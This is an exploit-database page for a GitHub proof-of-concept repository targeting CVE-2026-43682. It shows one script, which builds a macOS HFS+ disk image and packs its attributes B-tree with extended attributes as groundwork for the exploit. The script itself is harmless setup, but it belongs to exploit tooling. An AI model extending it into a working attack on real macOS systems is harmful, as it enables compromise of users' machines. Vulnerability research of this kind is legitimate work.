Exploit database

GH-7cd2c9933735db3b6ffaa93723e5a5be

petermalone/cve-2026-43682

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43682

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
petermalone/cve-2026-43682Revision d528b29b39a4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/create_base_dmg.sh

Shell · 1,081 bytes
#!/bin/sh

set -eu

dmg_path=${1:-base_with_attrs.dmg}
mount_point="/tmp/cve-2026-43682-base-$$"
volume_name=AttrPOC

cleanup()
{
    if mount | grep -Fq "on $mount_point "; then
        hdiutil detach "$mount_point" >/dev/null
    fi
    rmdir "$mount_point" 2>/dev/null || true
}

trap cleanup EXIT INT TERM

echo "[*] Creating a 4 MiB HFS+ image"
hdiutil create -size 4m -fs HFS+ -volname "$volume_name" \
    -layout NONE "$dmg_path" -ov

mkdir -p "$mount_point"
hdiutil attach "$dmg_path" -mountpoint "$mount_point" -nobrowse >/dev/null

echo "[*] Populating the attributes B-tree"
i=0
while [ "$i" -lt 10 ]; do
    file="$mount_point/file_$i.txt"
    printf 'test content %s\n' "$i" > "$file"
    xattr -w com.test.attr1 "value_1_for_file_${i}_padding_data_here" "$file"
    xattr -w com.test.attr2 "value_2_for_file_${i}_more_padding_data" "$file"
    xattr -w com.test.attr3 "value_3_for_file_${i}_extra_xattr_data_" "$file"
    i=$((i + 1))
done

hdiutil detach "$mount_point" >/dev/null
rmdir "$mount_point"
trap - EXIT INT TERM

echo "[+] Base image created: $dmg_path"